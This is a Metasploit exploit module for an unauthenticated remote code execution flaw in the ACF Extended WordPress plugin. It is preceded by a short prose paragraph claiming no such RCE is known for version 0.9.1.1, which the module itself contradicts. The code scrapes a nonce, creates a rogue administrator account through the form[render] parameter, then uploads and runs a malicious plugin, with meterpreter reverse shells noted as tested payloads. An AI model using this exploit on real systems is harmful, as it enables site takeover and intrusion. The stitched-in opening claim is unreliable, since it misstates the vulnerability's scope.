While ACF has experienced various security vulnerabilities throughout its development, including RCEs in later versions (often related to insecure deserialization or arbitrary file uploads in versions 5.x), concrete information specifically linking an RCE to the very early 0.9.1.1 release is not readily available through common security resources.
It's possible this version had other security flaws, or the RCE vulnerability was not publicly disclosed under this specific version number, or it's a very obscure or misremembered detail.
Users are generally advised to keep all plugins updated to their latest versions to mitigate known and unknown security risks.
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Payload::Php
include Msf::Exploit::FileDropper
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HTTP::Wordpress
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'WordPress ACF Extended Unauthenticated RCE via prepare_form()',
'Description' => %q{
This module exploits an unauthenticated Remote Code Execution vulnerability in the
Advanced Custom Fields: Extended (ACF Extended) WordPress plugin versions 0.9.0.5
through 0.9.1.1. The vulnerability exists in the prepare_form() function of the
acfe_module_form_front_render class, which accepts user-controlled input via the
form[render] parameter and passes it directly to call_user_func_array() without
proper sanitization.
This exploit requires a WordPress page containing an ACF Extended form widget, which
exposes the required nonce token in the page's JavaScript. The NONCE_PAGE option
must be set to the path of such a page.
Once an administrator account is created via wp_insert_user(), the module uploads
and executes a malicious plugin to achieve remote code execution (RCE).
},
'Author' => [
'Marcin Dudek (dudekmar) - CERT.PL', # Vulnerability discovery
'Valentin Lobstein <
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2025-13486'],
['URL', 'https://www.wordfence.com/blog/2025/12/100000-wordpress-sites-affected-by-remote-code-execution-vulnerability-in-advanced-custom-fields-extended-wordpress-plugin/']
],
'Platform' => %w[php unix linux win],
'Arch' => [ARCH_PHP, ARCH_CMD],
'DisclosureDate' => '2025-12-02',
'DefaultTarget' => 0,
'Privileged' => false,
'Targets' => [
[
'PHP In-Memory',
{
'Platform' => 'php',
'Arch' => ARCH_PHP
# tested with php/meterpreter/reverse_tcp
}
],
[
'Unix/Linux Command Shell',
{
'Platform' => %w[unix linux],
'Arch' => ARCH_CMD
# tested with cmd/linux/http/x64/meterpreter/reverse_tcp
}
],
[
'Windows Command Shell',
{
'Platform' => 'win',
'Arch' => ARCH_CMD
# tested with cmd/windows/http/x64/meterpreter/reverse_tcp
}
]
],
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)
register_options([
OptString.new('NONCE_PAGE', [true, 'Path to page containing ACF Extended form widget', '']),
OptString.new('USERNAME', [true, 'Username to create', Faker::Internet.username]),
OptString.new('PASSWORD', [true, 'Password for the new user', Faker::Internet.password(min_length: 8)]),
OptString.new('EMAIL', [true, 'Email for the new user', Faker::Internet.email])
])
end
def check
return CheckCode::Unknown unless wordpress_and_online?
plugin_check = check_plugin_version_from_readme('acf-extended', '0.9.2', '0.9.0.5')
return plugin_check if plugin_check == CheckCode::Safe
@nonce = find_nonce
return CheckCode::Unknown('Could not find nonce on specified page') unless @nonce
CheckCode::Appears
end
def exploit
unless wordpress_and_online?
fail_with(Failure::NotFound, 'The target does not appear to be using WordPress')
end
admin_cookie = create_admin_user
upload_and_execute_payload(admin_cookie)
end
def ensure_nonce
return if @nonce
@nonce = find_nonce
fail_with(Failure::NotFound, 'Could not find nonce on specified page') unless @nonce
end
def find_nonce
nonce_page = normalize_uri(target_uri.path, datastore['NONCE_PAGE'])
res = send_request_cgi('method' => 'GET', 'uri' => nonce_page)
return nil unless res&.code == 200 && res.body =~ /"nonce":"([a-f0-9]+)"/i
Regexp.last_match(1).tap { |n| vprint_status("Found nonce in JavaScript: #{n}") }
end
def send_exploit_request
ensure_nonce
send_request_cgi(
'method' => 'POST',
'uri' => wordpress_url_admin_ajax,
'vars_post' => {
'action' => 'acfe/form/render_form_ajax',
'nonce' => @nonce,
'form[render]' => 'wp_insert_user',
'form[user_login]' => datastore['USERNAME'],
'form[user_email]' => datastore['EMAIL'],
'form[user_pass]' => datastore['PASSWORD'],
'form[role]' => 'administrator'
}
)
end
def create_admin_user
res = send_exploit_request
fail_with(Failure::UnexpectedReply, 'Failed to create administrator account.') unless res&.code == 200
fail_with(Failure::UnexpectedReply, 'Unexpected response from exploit request.') unless res.body =~ %r{</div>\s*\d+\s*</div>}
print_good('Administrator account created successfully')
cookie = wordpress_login(datastore['USERNAME'], datastore['PASSWORD'])
fail_with(Failure::UnexpectedReply, 'Failed to log in to WordPress admin.') unless cookie
cookie
end
def upload_and_execute_payload(admin_cookie)
plugin_name = "wp_#{Rex::Text.rand_text_alphanumeric(5).downcase}"
payload_name = "ajax_#{Rex::Text.rand_text_alphanumeric(5).downcase}"
zip = generate_plugin(plugin_name, payload_name)
unless wordpress_upload_plugin(plugin_name, zip.pack, admin_cookie)
fail_with(Failure::UnexpectedReply, 'Failed to upload the payload')
end
register_files_for_cleanup("#{payload_name}.php", "#{plugin_name}.php")
register_dir_for_cleanup("../#{plugin_name}")
payload_uri = normalize_uri(wordpress_url_plugins, plugin_name, "#{payload_name}.php")
send_request_cgi('uri' => payload_uri, 'method' => 'GET')
end
end